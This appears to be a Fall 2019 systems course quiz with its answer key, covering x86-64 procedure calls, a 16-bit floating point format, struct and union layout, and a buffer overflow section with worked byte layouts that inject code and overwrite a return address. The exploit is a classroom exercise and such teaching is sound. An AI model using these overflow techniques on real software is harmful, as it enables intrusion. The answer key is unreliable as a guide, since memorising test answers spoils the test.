ICS Quiz 3

Fall, 2019

**Suppose all the following codes are running on a little-ending x86-64 machine.*

1. Procedure Call

One of the ICS TA wrote a simple C program and some assembly code is provided. Please read the code and answer the following questions.

```
int foo(int x, int y) {
	return x>y?x:y;
}

int bar(int *arr, int start, int end)
{
	if (start == end)
		return arr[start];
	return foo(arr[start], bar(arr, start + 1, end));
}
```

The assmebly code of the `foo&bar` functions is shown below. Answer the following questions.

```
1.  foo:
2.     pushq  %rbp
3.     movq   %rsp, %rbp
4.     movl   %edi, -4(%rbp)
5.     movl   %esi, -8(%rbp)
6.     movl   -4(%rbp), %eax
7.     cmpl   %eax, -8(%rbp)
8.     cmovge -8(%rbp), %eax
9.     popq   %rbp
10.    ret
11. bar:
12.    pushq  %rbp
13.    movq   %rsp, %rbp
14.    subq   $16, %rsp
15.    movq   %rdi, -8(%rbp)
16.    movl   %esi, -12(%rbp)
17.    movl   %edx, -16(%rbp)
18.    movl   -12(%rbp), %eax
19.    cmpl   -16(%rbp), %eax
20.    jne    .L4
21.    movl   -12(%rbp), %eax
22.    cltq
23.    leaq   0(,%rax,4), %rdx
24.    movq   -8(%rbp), %rax
25.    addq   %rdx, %rax
26.    movl   (%rax), %eax
```

```
28. .L4:
29.    movl   -12(%rbp), %eax
30.    leal   1(%rax), %ecx
31.    movl   -16(%rbp), %edx
32.    movq   -8(%rbp), %rax
33.    movl   %ecx, %esi
34.    movq   %rax, %rdi
35.    call   bar
36.    movl   %eax, %ecx
37.    movl   -12(%rbp), %eax
38.    cltq
39.    leaq   0(,%rax,4), %rdx
40.    movq   -8(%rbp), %rax
41.    addq   %rdx, %rax
42.    movl   (%rax), %eax
43.    movl   %ecx, %esi
44.    movl   %eax, %edi
45.    call   foo
46. .L5:
47.    leave
48.    ret
```

27. jmp .L5	

1. Please explain what function `bar` does.
bar return the max value from arr[start] to arr[end].

2. Fill the blanks in the assembly code.

2. Floating Point

Consider a 16-bit floating point representation based on the IEEE floating-point format, with 1 sign bit, 9 exp bits, 6 frac bits. Assume we use the IEEE round-to-even mode to do the approximation.

1. Fill in the table below. You are supposed to represent the target floating point value based on the designed format (in **hexadecimal** form) or write down the value (in the form `x` or `x*2^y` where both `x` and `y` are integers) represented by the given hexadecimal.

Description	Value	Representation
Largest denormalized value	$63*2^{-260}$ If misled by -2 in sample: $63*2^{-261}$	0x003F
Smallest normalized value	$-127*2^{249}$ If misled by -2 in sample: $-127*2^{248}$	0xFFBF
--	$-1*2^{-256}$	0x8010 If misled by -2 in sample: 0x8020
--	$-27*2^{125}$ If misled by -2 in sample: $-27*2^{124}$	0xE02C

2. Use the floating point format to calculate the addition: $(0\ 100001100\ 111111)_2+(0\ 100001110\ 111111)_2$. Please write your answer in **hexadecimal** form.
0x43cf

3. Buffer Overflow Attack

Suppose we have a simple function `func` as below, and `getbuf` uses the `gets` functions in section 3.10.3 on CSAPP. The ASCII number of '`0`' and '\n' is 48 and 0x0a.

```
1.  void func(long txt)
2.  {
3.          char *s = (void *) &txt;
4.          int i = 0;
5.
6.          for (i = 0; i < 8; i++) putchar(s[i]);
7.          exit(0);
8.  }
```

```
1.  0000000000401213 <getbuf>:
```

```
2.    401213: 55                          push   %rbp
3.    401214: 48 89 e5                    mov    %rsp,%rbp
4.    401217: 48 83 ec 10                 sub    $0x10,%rsp
5.    40121b: 48 8d 45 f8                 lea    -0x8(%rbp),%rax
6.    40121f: 48 89 c7                    mov    %rax,%rdi
7.    401222: e8 3b ff ff ff              callq  401162 <Gets>
8.    401227: b8 01 00 00 00              mov    $0x1,%eax
9.    40122c: c9                          leaveq
10.   40122d: c3                          retq
11.
12. 000000000040122e <main>:
13.   40122e: 55                          push   %rbp
14.   40122f: 48 89 e5                    mov    %rsp,%rbp
15.   401232: 48 83 ec 10                 sub    $0x10,%rsp
16.   401236: b8 00 00 00 00              mov    $0x0,%eax
17.   40123b: e8 d3 ff ff ff              callq  401213 <getbuf>
18.   401240: 89 45 fc                    mov    %eax,-0x4(%rbp)
19.   401243: bf 48 69 00 00              mov    $0x6948,%edi
20.   401248: e8 74 ff ff ff              callq  4011c1 <func>
21.   40124d: 8b 45 fc                    mov    -0x4(%rbp),%eax
22.   401250: 89 c7                       mov    %eax,%edi
23.   401252: e8 19 fe ff ff              callq  401070 <exit@plt>
```

1. What is the return address when executing the `retq` in line 10 when we type "`12345678123456789`" ?

0x400039

2. Suppose the register `%rdi` in line 7 is `0x64ffffc0`. If we want to print "`Hacked`" when executing `func`, what we should input in hex?

The machine code of the opeartion "`mov n(%rsp), %rdi`" is "`48 8b 7c 24 xx`", where `xx` is 8-bit 2's complement of n. And the ASCII code of "Hacked" is `48 61 63 6b 65 64` and has already been filled in the table.

0x48	0x8b	0x7c	0x24	0xf0	0xc3	xx	xx
0x48	0x61	0x63	0x6b	0x65	0x64	0x00	0x00
0xc0	0xff	0xff	0x64	0x00	0x00	0x00	0x00
0x48	0x12	0x40	0x00	0x00	0x00	0x00	0x00

Or

0x48	0x8b	0x7c	0x24	0xf0	0xc3	xx	xx
0x48	0x61	0x63	0x6b	0x65	0x64	0x00	0x00
0xc0	0xff	0xff	0x64	0x00	0x00	0x00	0x00
0xc1	0x11	0x40	0x00	0x00	0x00	0x00	0x00

Or

xx	xx	xx	xx	xx	xx	xx	xx
0x48	0x61	0x63	0x6b	0x65	0x64	0x00	0x00

0xe0	0xff	0xff	0x64	0x00	0x00	0x00	0x00
0x48	0x12	0x40	0x00	0x00	0x00	0x00	0x00
0x48	0x8b	0x7c	0x24	0xf0	0xc3	xx	xx

Or

xx	xx	xx	xx	xx	xx	xx	xx
0x48	0x61	0x63	0x6b	0x65	0x64	0x00	0x00
0xd8	0xff	0xff	0x64	0x00	0x00	0x00	0x00
0x48	0x8b	0x7c	0x24	0xf0	0x5x	0xc3	xx
0xc1	0x11	0x40	0x00	0x00	0x00	0x00	0x00

Or similar answer which works.

3. What if the `%rdi` in line 7 is `0x64ff0af8`. What's the differences? How to achieve the same goal in Q2?

xx	xx	xx	xx	xx	xx	xx	xx
0x48	0x61	0x63	0x6b	0x65	0x64	0x00	0x00
0x18	0x0b	0xff	0x64	0x00	0x00	0x00	0x00
0x48	0x12	0x40	0x00	0x00	0x00	0x00	0x00
0x48	0x8b	0x7c	0x24	0xF0	0xC3	xx	xx

Or

xx	xx	xx	xx	xx	xx	xx	xx
0x48	0x61	0x63	0x6b	0x65	0x64	0x00	0x00
0x18	0x0b	0xff	0x64	0x00	0x00	0x00	0x00
0xc1	0x11	0x40	0x00	0x00	0x00	0x00	0x00
0x48	0x8b	0x7c	0x24	0xF0	0xC3	xx	xx

Or similar answer which works.

4. Data Structures

Please the code and answer the following questions.

```
#include <stdio.h>

union ics_u {
        short **spp;
        char ca[2][3];
        char (*cpa)[3][2];
        struct {
                short s1;
                short *ps[2];
                char ca[3];
                union {
                        char c1;
                        unsigned *pi[2];
                } u;
                short s2;
                int (*p[2]) (long arg1, int arg2, short arg3, char** arg4, float arg5);
                char c2;
        } str[2];
};

int main () {
        union ics_u data;
        data.spp = data.ca;
        data.cpa = data.ca;

        printf (“size [1] : 0x%lx\n”, sizeof (data.str[0].u));
        printf (“size [2] : 0x%lx\n”, sizeof (data.str));
        printf (“size [3] : 0x%lx\n”, sizeof (data));
        printf (“size [4] : 0x%lx\n”, sizeof (data.spp));
        printf (“size [5] : 0x%lx\n”, sizeof (data.ca));
        printf (“size [6] : 0x%lx\n”, sizeof (data.cpa));
        printf (“&data : %p\n”, &data);
        printf (“value [1] : %p\n”, data.spp+1);
        printf (“value [2] : %p\n”, ((unsigned *)(&(data. ca[0][1])))+1);
        printf (“value [3] : %p\n”, &((*(data.cpa))[1]));
        printf (“value [4] : %p\n”, &(data.str[1]));
        printf (“value [5] : %p\n”, &(data.str[1].s1));
        printf (“value [6] : %p\n”, &(data.str[1].ps[1]));
        printf (“value [7] : %p\n”, &(data.str[1].ca));
        printf (“value [8] : %p\n”, &(data.str[1].u.c1));
        printf (“value [9] : %p\n”, &(data.str[1].u.pi));
        printf (“value [10] : %p\n”, &(data.str[1].s2));
        printf (“value [11] : %p\n”, &(data.str[1].p));
        printf (“value [12] : %p\n”, &(data.str[1].c2));
        return 0;
}
```

1. Please complete the output below. (6’ + 2 * 12’ = 30’)

size [1] : 0x10
size [2] : 0xa0
size [3] : 0xa0
size [4] : 0x8
size [5] : 0x6
size [6] : 0x8
&data: 0x7fff5e60fcc0
value [1] : 0x7fff5e60fcc8
value [2] : 0x7fff5e60fcc5
value [3] : 0x7fff5e60fcc2
value [4] : 0x7fff5e60fd10
value [5] : 0x7fff5e60fd10
value [6] : 0x7fff5e60fd20
value [7] : 0x7fff5e60fd28
value [8] : 0x7fff5e60fd30
value [9] : 0x7fff5e60fd30
value [10] : 0x7fff5e60fd40
value [11] : 0x7fff5e60fd48
value [12] : 0x7fff5e60fd58

2. How many bytes are wasted in data? (2’)

(data.str[1])	0	1	2	3	4	5	6	7
0x7fff5e60fd10	s1	s1	-	-	-	-	-	-
0x7fff5e60fd18	ps[0]	ps[0]	ps[0]	ps[0]	ps[0]	ps[0]	ps[0]	ps[0]
0x7fff5e60fd20	ps[1]	ps[1]	ps[1]	ps[1]	ps[1]	ps[1]	ps[1]	ps[1]
0x7fff5e60fd28	ca[0]	ca[1]	ca[2]	-	-	-	-	-
0x7fff5e60fd30	c1/pi[0]	pi[0]	pi[0]	pi[0]	pi[0]	pi[0]	pi[0]	pi[0]
0x7fff5e60fd38	pi[1]	pi[1]	pi[1]	pi[1]	pi[1]	pi[1]	pi[1]	pi[1]
0x7fff5e60fd40	s2	s2	-	-	-	-	-	-
0x7fff5e60fd48	p[0]	p[0]	p[0]	p[0]	p[0]	p[0]	p[0]	p[0]
0x7fff5e60fd50	p[1]	p[1]	p[1]	p[1]	p[1]	p[1]	p[1]	p[1]
0x7fff5e60fd58	c2	-	-	-	-	-	-	-

(6+5+6+7)*2=48 bytes

3. If you can rearrange the declarations in the struct and union, how many bytes of memory can you save in data compared to the original declaration? Please write down your rearranged declaration. (3’)

0	1	2	3	4	5	6	7
s1	s1	s2	s2	ca[0]	ca[1]	ca[2]	c2
ps[0]	ps[0]	ps[0]	ps[0]	ps[0]	ps[0]	ps[0]	ps[0]
ps[1]	ps[1]	ps[1]	ps[1]	ps[1]	ps[1]	ps[1]	ps[1]
c1/pi[0]	pi[0]	pi[0]	pi[0]	pi[0]	pi[0]	pi[0]	pi[0]
pi[1]	pi[1]	pi[1]	pi[1]	pi[1]	pi[1]	pi[1]	pi[1]
p[0]	p[0]	p[0]	p[0]	p[0]	p[0]	p[0]	p[0]

p[1]	p[1]	p[1]	p[1]	p[1]	p[1]	p[1]	p[1]

```
union ics_u {
        short **spp;
        char ca[2][3];
        char (*cpa)[3][2];
        struct {
                short s1;
                short s2;
                char ca[3];
                char c2;
                short *ps[2];
                union {
                        char c1;
                        unsigned *pi[2];
                } u;
                int (*p[2]) (long arg1, int arg2, short arg3, char** arg4, float arg5);
        } str[2];
};
```

save 48 bytes